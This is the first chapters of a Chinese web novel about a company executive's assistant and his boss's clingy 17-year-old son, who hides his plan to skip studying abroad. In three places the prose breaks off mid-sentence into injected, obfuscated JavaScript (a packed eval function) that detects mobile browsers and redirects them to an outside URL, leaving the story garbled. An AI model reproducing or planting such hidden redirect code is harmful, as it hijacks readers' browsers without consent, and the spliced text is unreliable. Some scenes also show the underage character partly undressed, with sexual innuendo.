《你以后喝多了别给我打电话》 1. 第 1 章 傍晚六点,三月的暮色降临得很早,天空泛成墨蓝色,城市已经点上路灯。 郜屿宁对着电脑敲完文档的最后一行字,拧着脖子活动筋骨,靠到椅背上呼出一口浊气。 还剩一半的汉堡已经放凉了,他拿起手机,另一只手把连着包装纸团成团,扫了一眼扔进垃圾桶。 这才看见好几条一个小时之前的未读消息。 林缅:哥我到家了。 林缅平时住宿,今天周五晚上放回家。还报备似的带上了他家大别墅的定位。 林缅:没让张叔来接,我坐徐语常家车回去的。 张叔是林家的司机,徐语常应该是林缅的同学。好像是个女生,郜屿宁没什么印象。 “郜助。”郜屿宁走出办公室碰到几个正好在加班的同事,一行人打了个招呼顺路走了一小段。 郜屿宁从毕业就成为总裁助理,一身黑西装长身鹤立、或是穿着皮衣骑摩托,结合他卓越的气质和扮相隐隐给人压迫感,人前风光无限。公司内部早有猜测:郜特助是给老板干些见不得人的脏活儿的。 传到过郜屿宁耳朵里,他暗自戏谑:是挺脏的,给小少爷擦屁股能不脏吗。 等到他一人到地下停车场时,郜屿宁的手机正好又有消息进来。 林缅:下班了吗?记得吃饭。 林缅:哥,你等会记得来接我回去。 “回去”指的是从自己家“回”到郜屿宁家。 郜屿宁:嗯。 林缅:骑摩托来好吗?你好久没带我兜风了。 小少爷指定的坐骑此时就稳稳当当地停在他身边。 但郜屿宁没再回复,直接把手机收了回去。跨坐上车,戴上头盔,推下风镜,一套动作行云流水。 伴着带劲的引擎声,暗色的摩托驶离景佑集团的气派大厦。 晚高峰的汽笛声此起彼伏,蜿蜒曲折的高架上车前灯忽明忽暗,缓慢前进,无不向穿梭自由、速度极致的仿赛摩托投去艳羡的目光。 虽然是全副武装地带着头盔手套,初春的晚风也是刺骨的,冷风直往他的衣领里灌。回到自家楼下时,郜屿宁的脖子上的皮肤还因为冷气而毛孔悉张。 他把头盔和手套摘下后没回家停留,而是直接走向另一辆轿车,准备开车去接林缅。 全然不回复也没理睬林缅要坐摩托兜风的诉求。 汽车是老板林佑勤给他配的车,要是出门谈生意或是接洽客户时骑个摩托显得不正式。 总不能让人坐他摩托后座,跟开摩的似的。 这是林佑勤原话。 当时郜屿宁摸了摸鼻尖,颔首答应。 林佑勤不识货,郜屿宁懒得跟他说。但一般没什么特殊日程的时候他还是照样骑摩托,这辆小轿车倒成了他接送林缅的专车。 林佑勤知道郜屿宁主意大,在这种无可是非的事情上也没再说什么。毕竟让郜屿宁工作之余多照看一下小儿子林缅也是林佑勤当初随手甩给他任务。 郜屿宁熟门熟路地把车开到洺河公馆61栋的院外。看了眼时间,才过了半个小时不到,想着还早便下车抽了根烟。 他靠在车门上,指尖的烟随着一阵冷风悠然地飘散开,不远处气派别墅的门窗里透出明亮温暖的光。 他别开眼睛,手机又突然响了,不出意外又是林缅。 林缅:哥你怎么这么早就来了。 他抬眼看向了别墅,还没找到人影,第二条消息接着又来了。 林缅:好好吃饭了吗?吃什么了呀。 指尖的烟几乎只剩下一个烟屁股,郜屿宁走了两步掐灭了扔进路边垃圾箱里,停顿了一下,准备胡诌自己吃了正经晚饭。 林缅:肯定又没好好吃饭。 郜屿宁无奈地长按删除键,把对话框清空,回复了个省略号。 没过一会儿林缅又发来消息。 林缅:哥,我爸让你进来吃饭。 看到这条消息,郜屿宁停顿了一下,推辞来去显得小家子气,只好把刚抽出来的那根烟重新塞回烟盒里。 家里的阿姨把郜屿宁迎进门,郜屿宁礼貌地笑了一下,“吴姨。” 吴姨带他走向餐厅,“郜助,跟我来吧。先生他们也才刚开始吃呢,先生听说小缅今晚要去您那儿拿作业,所以让您留下来一起用晚餐。” “麻烦您了。” “麻烦什么,一双碗筷的事情。” 林缅本是背对他的位置,听到郜屿宁的声音扭过身来,对他眨了眨眼睛。 “林总,夫人。” 林佑勤和沈珏坐在餐桌的两边,沈珏微笑着示意他坐在林缅的身边。 一对十岁出头的双胞胎坐在林缅的对面,也眨着眼睛看向郜屿宁,并不新奇。 他们对郜屿宁不陌生,看到这个帅哥哥偶尔来给爸爸送资料、但经常来给哥哥送作业。 在林家吃饭的经历不算少数,工作有一部分内容和林佑勤的生活也不可避免有些交集,特别是在和林缅走动密切之后。 今天正好沈珏带两个双胞胎刚从国外旅行回来,本是难得的家庭聚餐,因为郜屿宁的加入,餐桌上的话题却又被林佑勤变成了工作。 其余四人沉默进食,餐桌上气氛微妙,林佑勤似乎并未察觉,郜屿宁只好嗯嗯啊啊地回应。 吃过晚饭之后,郜屿宁跟着林佑勤上楼跟去了趟书房,详谈工作,又被迫加了半个小时的班。 下楼时头昏脑胀的,看见林缅坐在地毯上,正在教两个双胞胎怎么玩他们新买的赛车模型。 弟弟林思安抢哥哥林思涵手里的零件不成,张大了嘴巴眼睛通红马上就要飙出眼泪,准备开启道德压制。 “走了。”郜屿宁在几个小孩身边站定了一会,丢下一句就朝门厅走去。 听到声音,三个人抬眼看向他。林思涵被一道黑色的影子罩住,吓得立刻噤声,连嘴巴都忘记闭上了。 林缅立马起身,捞起丢在沙发上的书包,回头对双胞胎摆手告别,又看到沈珏从楼上下来送他,他稍有拘谨地说了句,“我走了,妈妈。” 不等沈珏回答,他转身很快跟上了郜屿宁,“哥你等等我。” 吴姨送两人到门口,见林缅连从学校带回来的换洗衣物的行李箱都要带走,赶紧说,“小缅,行李箱留下来吧。” 吴姨有些为难和不好意思,毕竟自己是家里的阿姨,林缅的生活起居应该该由她来照料。 她也没想到都已经念高三、快18岁成年了的林缅,就连日常生活也已经黏得这位郜特助这样紧。 等林缅换鞋的空档,郜屿宁正在回工作信息,听闻此言抬眼扫了眼那个箱子,低头时林缅正看向他,似乎在问他意见。 郜屿宁没说话,意思是看你自己。 “好吧,正好骑车也不好拿。”林缅说道。 吴姨收进眼底。但两人似乎都没觉得这种外人看来有些过度粘连的相处模式有什么不对劲的。 两人走出别墅,迎面就是一阵凉风,林缅打了个哆嗦。林缅看见那辆黑色的轿车,远远地就认了出来,拉下来了脸,不情不愿地坐上副驾。 “怎么没骑摩托?” “安全带。”看了一路工作消息的郜屿宁终于舍得把手机放进置物架,发动了引擎。 “好久没兜风了。”林缅听话地把安全带系上,嘴里依旧抱怨。 “你想冻死?”郜屿宁扫了眼中控,把空调打开。 林缅撇了撇嘴,没再反驳。 车正式驶入主路,郜屿宁问,“不是很久没回家了吗?怎么不在家里过周末。” 仔细算来,林缅上一次回家还是一月份过年的时候,过完年没几天林缅就高三开学,沈珏带着双胞胎出国旅行了一个多月,林佑勤则是忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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等电梯的功夫,他都要抓着郜屿宁衣服的下摆,自然地靠到他肩膀上,又咪上了眼睛。 就这股黏人劲儿怎么看怎么是小孩儿。 是喷香水了吗,一股水蜜桃味。 “啧。”郜屿宁皱着眉用手肘顶了顶他,依旧像软骨头似的站不直,直到回到家里林缅倒到沙发上。 郜屿宁家并不大,简单的两室一厅只有一间卫生间,平日里他一个人独居,周末林缅留宿,完全够用,两个大男人也没什么不方便的,几年来一直如此。 郜屿宁洗漱完回了自己房间,整理收拾完,累得眼睛睁不开刚准备上床休息。 卫生间的水声也渐渐停了下来,但下一秒郜屿宁的房门就被敲响了,也不等郜屿宁同意就直接推开了门,伴随着一声,“哥。” 林缅只穿了件宽大的T恤,是几年前第一次在郜屿宁家留宿时郜屿宁借给他的,现在都快被他穿成阿贝贝了。堪堪能把屁股遮住,微微露出内裤的边角,腿上的水珠都没擦干,他走过来的那两步都淌下来好几道。 郜屿宁靠在衣柜上,不让他继续往里走,脸上露出被打扰的不爽,但对方明显没看出来。 依然在低头研究,“哥,我好像又发育了。” 抬起头,眼神是很认真地在困扰,“小裤有点紧,你还有新的吗?” 郜屿宁有些无语,皮笑肉不笑地哼了一声。 “笑什么?”林缅不悦地问。 郜屿宁视线往下移,打量了他一眼,“转过去看看。” 林缅听话地转过身,两只手边捞起衣服的下摆,勒在腰上露出小裤,但还没站稳,郜屿宁就一脚踹在了他屁股蛋上,把他踢出房间。 “我的你穿不了。” 随着落锁的声音,郜屿宁继续说,“明天给你买新的。” 2. 第 2 章 郜屿宁起床便开始收拾下周要出差的行李。 动静不算小,林缅没过一会就打着哈欠从房间里出来了。 看见躺在客厅地上的行李箱,林缅一下子就精神了,朝着郜屿宁的房间门喊道,“哥!” “下周一要去趟白市。”郜屿宁拿着几套衣服从房间里出来,绕过他丢进行李箱,解释道。 林缅头发乱得跟鸡窝似的,额前的头发也呆呆地翘起,露出额角一条淡色的伤疤。 郜屿宁揉了一把他的头发,把那条疤掩住了,“去,洗脸刷牙。” 林缅站在原地不动,明显不悦,“怎么又要出差,为什么非要带你,我爸那么多乱七八糟的助理,怎么什么活儿都让你干。” 总裁特助是比其他职能单一的行政助理、业务助理等都要更高一级,自然也更辛苦一些,各司其职罢了。 郜屿宁没忍住笑了,“你也知道我是你爸的助理,不是你的啊。” 林缅瘪了瘪嘴没说话,拉着脸也等不来郜屿宁来哄,便只好自讨没趣地去卫生间洗脸刷牙了。 “哥!”没安分一会,卫生间里传来林缅的声音,“我牙刷掉马桶里了!” 听闻此言郜屿宁翻了个白眼,一天天的快被这小孩儿气死了,他站起身走向卫生间,不耐烦地问,“你跑马桶边上刷什么牙…” 林缅一脸懊悔地盯着马桶,扭过头来,嘴角还沾着白色的泡沫,“想边尿尿边刷牙…就…” 见郜屿宁一脸的不爽,他又委屈巴巴地加了句,“那么凶干嘛…还打到我唧唧了,可疼了。” 郜屿宁没好气地说,“自己捞。” 林缅自顾自地继续卖可怜,“都红了!你看!”边说边把小裤往下扯,一脸的顾影自怜。 “你他妈有病吧,”郜屿宁骂完了,视线不可避免地还是瞟了一眼,“要药膏吗?” 看在林缅蛋疼得要命的表情上,郜屿宁去药箱里翻出一条软膏丢到盥洗池边上,“记得捞出来,别把马桶弄堵了。” “哦…”林缅一屁股坐到马桶给小林缅涂药。 门铃响了,郜屿宁正好没眼看,去拿了外卖。 没过一会,林缅走进厨房拿了双筷子,经过他身边看都没看他一眼,又跑出去了。 郜屿宁一脸懵不知道他又要整什么幺蛾子,放下醋碟跟他走出来。 走到卫生间门口,只见林缅蹲在马桶边上拿着双筷子,抬起手臂,一脸嫌弃地在够掉进马桶里的牙刷。 郜屿宁的视角这幅画面实在诡异得好笑,他抱着手臂靠在门框上,好整以暇,没忍住笑出了声。 林缅拧着眉毛,看向门口跟大爷似的看戏的郜屿宁,郜屿宁在笑什么不言而喻,他脸胀得通红,语气愠怒,“不许笑!” 郜屿宁越是见他这样越要调侃。 林缅艰难地把牙刷晃晃悠悠地丢进垃圾桶里,筷子也一起丢了进去。他沉着脸走到洗手池边上,看都不看在旁边郜屿宁,气呼呼地快把手都搓掉一层皮了。 洗完手,林缅的不高兴依旧明晃晃地写在脸上,用力撞开快把半个门口都要挡住的郜屿宁,没去餐桌而是倒在沙发上。 郜屿宁把早餐从厨房里端出来,“过来。” “没胃口。”林缅扭过头看着阳台外,故意冷着语气。 郜屿宁用筷子敲了敲碗边,发出清脆的声音。 林缅条件反射似的转头看向郜屿宁,看见压着嘴角憋笑的郜屿宁,顿了两秒才意识到自己像条小狗。 郜屿宁不逗他了,直接端着盘子放到茶几上,夹了一个汤包,轻轻沾了沾醋,用醋碟托着送到林缅的嘴边。 林缅这才面目微微松动,垂下眼睛,看似不情不愿地把一整枚小汤包包进嘴里。 郜屿宁心里明镜儿似的,林缅膈应不想自己碰吃的,换做平时早就颐指气使地让郜屿宁喂他了。 说到底还是在为别的事情在置气。 “下周末之前能回来,周五放学我去学校接你。” 林缅抬眼看了他一眼,终于乖乖吞下一枚送到嘴边的汤包,把嘴里包的满满的,装作不在意地说,“好吧,你自己说的。” 跟小孩子过家家似的,闹别扭容易和好更容易,两人才算正式和解。 “你之前申请的那几个学校放榜了吗?怎么好久没听你提了。” 林缅从初中开始就被计划好了一条本科留学的路,高中上的是国际学校,现在三四月份正是美本RD放榜高度集中的时候。 林缅被汤包的汤汁儿呛了一下,偏过头咳嗽的间隙把送到嘴边的下一个汤包推到郜屿宁面前,“等你回来再说吧。” 郜屿宁把最后一个汤包送进嘴里,起身收拾碗筷,随口问,“你想去哪?” “…随便。” “怎么稀里糊涂的,你自己的事情一点主意没有。” 林缅看着郜屿宁的背影抿直了嘴巴,神情黯淡下来,“我自己的事情自己知道…别念叨了…” 说完回了自己房间。难得一个周末林缅原本是想留在家里和郜屿宁打游戏的,但现在提及留学的事情,他不仅没了兴致,最害怕的是被他哥知道他不打算出国的心思。 林缅背上书包走出房间,郜屿宁正在收拾行李。 “哥,我去找我同学一趟。”林缅走向门口。 郜屿宁抬头扫了一眼,居然还背了书包,够新鲜的,“要送吗?” “不用,徐语常就在附近,我跟她一起去。”说话的功夫一溜烟儿跑了出去。 和徐语常碰头的时候,他还是愁容满面,两人一起到市图书馆,陈汋已经帮池景行复习了有一会儿了。 林缅从书包里掏出习题,咬着笔头,作为旁听生听陈汋给池景行讲模考题。 四个人在初中就是同一个班的,后来上了高中也都是同一个国际高中。只不过徐语常和林缅在国际部,而陈汋和池景行则是上的普高部。 徐语常见林缅被圆锥曲线折磨得面色蜡黄,没忍住笑出了声,另外三人一齐抬头看向她。 “不是,你真想参加高考啊?” 林缅的小卷毛已经在冥思苦想时被自己薅得乱七八糟,此时抬起头显得更憔悴了,他痛苦地瘫在桌上,“我真不想出国…” 实际上,RD的两所保底院校都已经给他发“Congratulations!”了,但他一想那硕大、醒目的字眼就头疼得要命。去年年底EA给了他Defer的院校,都被他阳奉阴违地迟迟不交love letter硬生生拖成Reject。 对于大学霸可能留学或高考都是选择,但是林缅向来都是及格万岁,要不是有人拿鞭子抽他他才不会多学一个字。 更何况出国留学和国内参加高考从一开始努力的方向就是大相径庭的。所有科目里也就英语拿得出手,高数就学得吭哧瘪肚,数学压轴题自然是无从下笔,更别说语文,这门课已经被他完全丢掉了。 池景行也看不下去了,指了指他面前那张卷子上的那道大题,“林缅,这道题我都会了…” 陈汋轻轻拍了拍池景行的脑袋,让他继续写题。 陈汋拿过他的卷子,“去年你跟老胡说要高考,我们还以为你是心血来潮呢,真没想到坚持这么久。” 陈汋把卷子翻来覆去的看了一遍,夸张地说,“看来你是真的很想上大专。” 林缅捂着胸口,感觉心痛得要滴血,“大专惹你了…” “没事儿,既然林叔都同意你留在国内了,肯定会给你托底。”徐语常安慰道。 却看见林缅的脸色更难看了,她瞪大了眼睛,“不是吧!你还没告诉你爸?” “哎呀别说了别说了…”林缅一声哀嚎又趴到桌上,手脚并用地猛蹬起来。 “你哥呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990800|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?你哥总该知道吧?”陈汋问。他们都知道林缅有个把他从头管到脚的但比亲哥林准还亲的哥。 被哪壶不开提哪壶的林缅把脸埋得更深,“我最怕的就是他知道。” 陈汋问,“可是你到底为什么不想出国了?之前不还说想去找你亲哥。” “我也不知道,就是不想…”林缅把水笔按得直响。自从他六岁那年亲哥出国之后,他一直念叨到上初中,但现在提及他亲哥,他只想一笔带过,“而且,这都多久之前的事情了…” “小行,你把陈汋借我两天,给我补补课吧。”林缅猛得抬起头,一脸苦相。 池景行原本成绩特别烂,但在哥哥陈汋的努力下,现在已经勉强能够上一个不错的本科。 徐语常嗤笑了一声,“人家是兄弟俩,白天晚上都在一块补课,小行才有这么大进步的,你有这个条件吗?” 池景行看了陈汋一眼,认真地对林缅说,“你也可以找你哥哥补课啊,他当时上的可是江大的本硕连读,教你不是很容易。” 吹嘘郜屿宁有多厉害多帅是林缅以前最热衷的话题了,但是现在又提郜屿宁,林缅只觉得自己死得更透了。 “哎…那我给你推荐个网课吧,”池景行把平板推到林缅的面前,是一个针对高考数学的出题方式和解题技巧的名师的视频,“其实多练练…熟练了就会好很多…” 看着两个学渣你来我往地相互交流经验,陈汋还怪欣慰的。 晚上吃过晚饭才回家,天色已经暗下来了。换做平时他早就归心似箭,但现在他从小区门口走到公寓楼下慢吞吞地踢着石子儿,只想拖延回家的时间。 走到楼下时烦闷依旧,他四处张望确定没人后,从书包侧袋里拿出一根小银管,塞进嘴里抿了一口,提起裤腿儿准备到旁边隐蔽的台阶上坐一会。 他背靠在台阶上,百无聊赖地把玩着手里的电子烟,吐出一团淡淡的烟雾,水蜜桃味钻进他的鼻腔里,烦闷总算是消减了一些。 “林缅。” 不着情绪的声音从林缅的视线盲区传来。 林缅吓得一激灵,毛孔都立了起来,把电子烟握紧了藏在身后站起了身,缓慢地探出头。郜屿宁就面无表情地站在墙的转角处,夜色里眉眼笼在阴翳里,往前走了两步。 “拿出来。” 空气中的若有似无的水蜜桃味儿还在飘飘然地蔓延。郜屿宁记得昨天在他身上闻到的就是这个味道,眉头蹙起。 林缅的心彻底死了,不情不愿地从犄角旮旯里走出来,“哥…” “拿出来。”郜屿宁又重复了一遍。 林缅慢吞吞地把手里的东西放在他的掌心,因为攥得太紧都起了一层汗,他局促地贴在裤缝上蹭了蹭掌心。 郜屿宁拿起扫了一眼,又看了眼林缅,“长本事了?” “哥,我就是…” 不等他解释,郜屿宁直接把东西丢进旁边的垃圾箱里,没再理林缅,自己走进了单元门。 林缅慌张地跟了上去,郜屿宁走进电梯,电梯快要合上,郜屿宁也没帮林缅摁着开门,林缅挤进来的时还被电梯门夹了一下。 林缅偷瞟了郜屿宁好几眼后,试探性地碰了碰郜屿宁的手背,这才看见郜屿宁手里拎了个纸袋子。 他拿过纸袋子放左手上,用右手去勾郜屿宁的手,没被甩开却也没回握,就把他当空气一样,这让他更难受了。 跟进家里,他把手里的纸袋放到沙发上准备好好哄他哥,但看到袋子上是一个服装品牌的logo,里面装着两个包装盒,林缅倒吸了一口凉气。 他哥正好去对面商圈帮他买内裤回来,估计都跟了他一路了。 “就是什么?” 郜屿宁不悦的声音在身后响起,手机不轻不重地放到桌上,把脱下的冲锋衣挂到门口衣架上,袖子微微挽起,露出一截线条紧致的小臂。 3. 第 3 章 林缅把书包丢在沙发上,垂下脑袋,看上去像是受了多大委屈。 见他不回答,郜屿宁走到他面前,眉头微蹙着,“你成年了吗?哪儿来的。” “我就是想尝个味道…”林缅低声为自己辩驳着。 “哪儿来的?”不等他说完,郜屿宁又厉声问了一遍。 林缅只好如实回答,“我让徐语常给我带的…”但很快抬起头闪着眼睛,抓住他的小臂晃了晃,态度诚恳,“哥,我知道错了…我保证,以后绝对不会再碰了!” 又是徐语常,最近这个名字出现的频率很高。郜屿宁抽出自己的手臂,用食指点了点林缅的脑袋,“再让我发现一次…” 这次不等郜屿宁说完,林缅就赶紧攥住郜屿宁的那根食指,另一只手也握了上去,“绝绝绝绝绝绝对不会了!” 郜屿宁没在林缅偷偷抽烟这件事情上多做教训。青春期的小孩儿对这种东西新奇也是正常的,更何况他最了解林缅不过,警告他一次借他十个胆子都不敢再犯。 郜屿宁把纸袋拎到另一边,问道,“最近碰到什么事儿了?回来路上七拐八绕的,还偷偷在楼下抽烟,这么不想回家?” 果真还是被郜屿宁看到了,林缅被郜屿宁说得自己像是那种宁愿躲在车里抽烟也不肯上楼回家的婚后男人,继续嬉皮笑脸,“没事啊…” “你最好没事儿,别让我发现你又憋了什么心思。”郜屿宁没再逼问他。 郜屿宁刚放了他一马,但想到他还瞒了一件天大的事他只敢小声嘟囔了一句,“可是我也大了,有点自己的秘密不是很正常吗…” 郜屿宁觉得有点好笑,起身拎着纸袋拍在他的胸口,“行,拿着你的秘密滚吧。”说完回了自己房间。 “哥!”拉长了尾音,林缅瞪着郜屿宁的背影,脸臊得一阵红一阵白。 林缅晚上躺在床上辗转反侧到半夜,还在思考该以什么形式告诉郜屿宁他不打算出国的消息,更何况他的成绩现在实在拿不出手,直接宣布无异于直接说“我不想活了”… 他痛定思痛,还是先提升成绩最重要。 他开了个床头夜灯,一骨碌翻身下床,捧着平板电脑和草稿纸又爬回床上,在网上搜索白天池景行推荐给他的那个数学网课。 原本振奋的势气几道大题接连下来,已经被磨灭光了,林缅头昏脑胀,面红耳赤,巨大的计算量他算得抓耳挠腮,草稿纸用掉一张又一张,他烦躁得团成团丢在地上。 突然听到外面脚步声,接着房门就被敲响了,“怎么还不睡?” 只是一盏小夜灯怎么门缝里都能漏光。 林缅赶紧手忙脚乱地把纸笔藏进被子里。 “啊…咳,我睡了…哥…”林缅开口发现自己嗓子都哑了。 郜屿宁一听就知道他在扯谎,还没等他收拾完就推开了房门,“这么晚不睡你…” 话说一半就顿住了。 “哥…”林缅声音有些发颤。 他扫见床边的地上好几个用过的纸团,林缅窝在被子里,只露出一张小脸,面色潮红,看上去都快缺氧了。一只手死死地把平板扣在身上,另一只手躲在被子里… 在干什么不言而喻。 真撞破了林缅“秘密”的郜屿宁也有几分不自然地摸了摸鼻子,他别过眼睛,低声说了句,“我服了…” 又交代道,“弄完自己收拾好,以后去卫生间弄…记得锁门…” 说完就出了门。 林缅这才听出来郜屿宁是误会了,赶紧起身,嚷嚷道,“哥!哥哥!不是…我没有…” 但是房门早就关上了。 第二天郜屿宁见林缅起床后没精打采地坐在餐桌边,小脸蜡黄,一脸肾虚的样子。 只以为是林缅最近申请期压力大,又是抽烟又是…郜屿宁把脸埋进手掌,用力搓了一把,有点像不知道怎么跟青春期孩子沟通的老父亲。 他把早餐放到林缅的面前,轻咳一声,没头没尾地来了一句,“你知道节制吗?” 那一地的纸团回答了这个问题。 林缅闭了闭眼睛,又不能澄清自己在上网课,有苦难言,“知道了…” “还有,别乱用东西…注意卫生。” “哥…我知道…” 郜屿宁还准备继续说,林缅脸红到脖子,有些扭捏地说,“哥!你别说了…” 郜屿宁喉结滚动,把还没说出口的话也硬生生咽了下去。 周一早上,林家司机张叔要送林佑勤和郜屿宁去机场,正好把林缅送去学校。 车停到家门口时,林缅还没睡醒,原本软趴趴地靠在郜屿宁身上,一看到林佑勤一下子就醒了。 “爸…张叔。”他绕到后座的另一边上了车。 郜屿宁坐到副驾驶上,透过后视镜观察着这对父子。 林佑勤厉声道,“站没站相,坐没坐相。” 林缅从小到大被林佑勤嫌弃习惯了,也学会了左耳朵进右耳朵出,从不往心里去。 “你妈妈让你下周回家。之前家里没人不住在家里就算了,现在整天不着家像什么样子。” 妈妈指的就是沈珏。在沈珏生下双胞胎之前,没见过亲生母亲的林缅和沈珏也是有过很长一段亲如母子的时光。现在想来林缅都觉得温馨,但后来六岁那年沈珏有了自己的孩子,林缅很知趣地疏远了一些,没再做惹人嫌的麻烦精。 “又不是我想里家里连个活人都没有的…” “你说什么!”听到林缅顶嘴的林佑勤勃然大怒。 林缅抿着嘴,不再回答。 林佑勤气极了,大声数落道,“你说说你,又没你大哥有本事,也没你两个弟弟聪明懂事,也不知道你到底像谁!” 车内气氛紧张,坐在前排的两个人背脊都僵硬了,但耳朵却竖得直。 “连入学考试都能一起考不及格,也不知道你从哪看出来他俩聪明的。”林缅低声回嘴,但在车里听得一清二楚。郜屿宁用力把嘴角压平。 林佑勤气得额角青筋暴起,要不是在车里不顺手,他早就一巴掌扇到林缅脸上了。小的时候林缅被打是常事,只是现在林缅大了不稀罕跟他故意作对连争吵也少了,大多是林佑勤单方面的数落,林缅随便听听就糊弄过去了。 “赶紧滚出国,眼不见心不烦。” 林缅心里一揪,咬着嘴唇不再说话。 车停在学校门口,林缅下了车,“我走了,张叔,哥。”最后才不情不愿地喊了声,“爸。” 小少爷下车之后,张叔本想打个圆场,但扫了眼后视镜林总早恢复了往日里精明大义的模样,丝毫没有为儿子头疼的痕迹,又在跟郜特助交代工作了。 郜屿宁面不改色地回应。 郜屿宁和林总落地后对方公司安排的人已经等在接机口,送他们到酒店。他们和周日提前来的几位同事碰头后开了个短会,又投入紧锣密鼓的工作中。 接连三天,郜屿宁忙得晕头转向,虽然累但工作却推进的很顺利。 得空闲下来,他才想起来,一向黏人的林缅这几天都没怎么跟他联系。 “郜助,车已经到了,”李秘从林佑勤的房间里出来,碰到正在走廊的郜屿宁,通知他参加晚上的应酬。 郜屿宁应了一声,心里思量着,不会是前几天跟他爸吵架真往心里去了吧,他给林缅发了条消息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990801|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郜屿宁并不喜欢参加这种酒局,但为了工作不可避免,无非是一帮事业有成的中年男人吹牛…他帮着林佑勤挡了几轮酒,趁着他们吹牛的功夫,他溜出去透了透气。 他走到露台想抽根烟,手机正好响了,本以为是林缅,却没成想是一串陌生号码,清了清嗓子,接起电话。 “喂?是林缅哥哥吗?”对面一个中年男人的声音。 郜屿宁顿了一下,又拿下手机看了眼号码,确实没有备注,“嗯,是,您是?” “你就叫我,胡老师吧,你们…” 郜屿宁有些紧张地问,“是、是林缅他怎么了吗?” “也不是。”胡老师清咳了两声,这次语气还算不错,“林缅哥哥,我就是想问问,你们真的想清楚了吗?” 郜屿宁被问得云里雾里,“什么想清楚?” 胡老师只好开门见山,“林缅最近挺用功的,确实也是个聪明孩子,但说不想出国了,要参加高考是不是太草率了一点?” 听闻此言,郜屿宁眼睛慢慢睁大,手里的那根未点燃的那根烟一下子被他对折掐断了,“不是…” 胡老师自顾自地继续讲,“我也找他聊过,决心特别坚定,但还是要慎重嘛!” “而且他都已经有不错的录取通知了,但留下国内可能只能考个普通本科,不值当。” “所以我想问问你们家长到底是怎么想的?” 郜屿宁手里的那支烟早就被蹂躏得不成样子,他呼出一口气,“好的胡老师,我…我再跟他聊聊…” “这次他也参加了全市的模考,成绩…也只能算中等。” 郜屿宁烦躁地应和,“明白…胡老师。” “哦,他还自说自话跑来我们普高部旁听了,我算是…算是他现在的班主任。”老师现在才自我介绍完,有些惆怅地叹了口气。 “啧。”郜屿宁把手插进发根里,胡乱地抓了抓,在对方准备挂电话之前,又补充道,“辛苦胡老师了,还有…麻烦把林缅这次考试的卷子拍给我看一下。” “哦…好…” 刚挂下电话,林缅的消息就进来了。 林缅:哥我好想你[亲吻][亲吻],周五你答应过来接我的[玫瑰][玫瑰][玫瑰] 林缅:我不回家,别理我爸。周五要来接我。 郜屿宁的火气一下子窜到了天灵盖。 原来老实了这么长时间憋了个大的。真是应了那句话,孩子静悄悄,必定在作妖。 郜屿宁在外面连抽了好几根,再回包厢时酒局已经接近尾声。林佑勤回车上时走路都有些开始打飘。 嘴上还在跟郜屿宁聊着工作,但因为醉意太深也没发现郜屿宁对他的敷衍、还窝了一肚子火。 到酒店,郜屿宁借口要再抽根烟透透,看着司机和李秘书一人一边把林佑勤架回房间没跟着上楼。 郜屿宁点了根烟,心里气极了,头也疼得要命。 前一天还能为了申请的事情焦虑得睡不着觉,第二天就能背着书包去普高部旁听了? 不就是那天周一早上林佑勤说了他两句,林缅为了跟林佑勤置个气,能做出这种幼稚又不负责任的行为。 他站在酒店外,烦闷地扯松领带,看了眼时间已经不早了,但他还是直接给林缅打去了电话,白烟在指尖氤氲开。 忙音过后,林缅的声音传来,“哥!” 郜屿宁抖了抖烟灰,开门见山,不紧不慢地说道,“我看时间你申请的学校里有几个放榜了,结果怎么样?” 电话那头,林缅语气失落、遗憾、委屈、诚恳要素齐全,但撒谎道。 “都被拒了…” 4. 第 4 章 晚自习课间,周围闹哄哄,林缅坐在教室最后一排,趴在课桌上,语文必备古诗词背得直翻白眼。 上次模考距离林缅的目标成绩差了十万八千里,他被挫败得有些沮丧,但又不得不继续对症下药,苦哈哈地背书刷题。 数学课代表陈汋把作业从办公室捧回来放到讲台上了,从前只用挑池景行和自己的,自从林缅到他们班之后,他也会帮林缅找作业本。 今天他都没来得及找作业,直接冲回座位上,转过身对林缅说,“我刚刚在办公室看到你哥了!” “不可能…你看错吧?”感觉到心往下猛坠了一下,林缅坐直了身子往后移,警惕地看着陈汋。 “真的!不信你去看。”陈汋又补充道,“初中的时候你哥被叫来学校那么多次,我又不是没碰到过。” 陈汋的表情一点开玩笑的痕迹都没有,异常的认真,林缅的心立刻忐忑起来。 陈汋说完之后就上讲台找作业去了,留下林缅一个人。他看着课本上的一个个中国字渐渐变得扭曲和模糊,小方块撞在他的脑门儿上又不知道被弹到哪里去了,反正就是不往脑子里面跑。 明明昨天晚上打电话的时候还好好的,他骗郜屿宁全被Reject的时候,郜屿宁还安慰了他几句…难不成郜屿宁那个时候就已经知道他在撒谎了?林缅瞬间寒毛都要竖起。 上课铃响了,喧闹的教室安静下来,逐渐只剩下课本翻页和唰唰写字声,还有林缅忐忑不安心跳如鼓的声音。 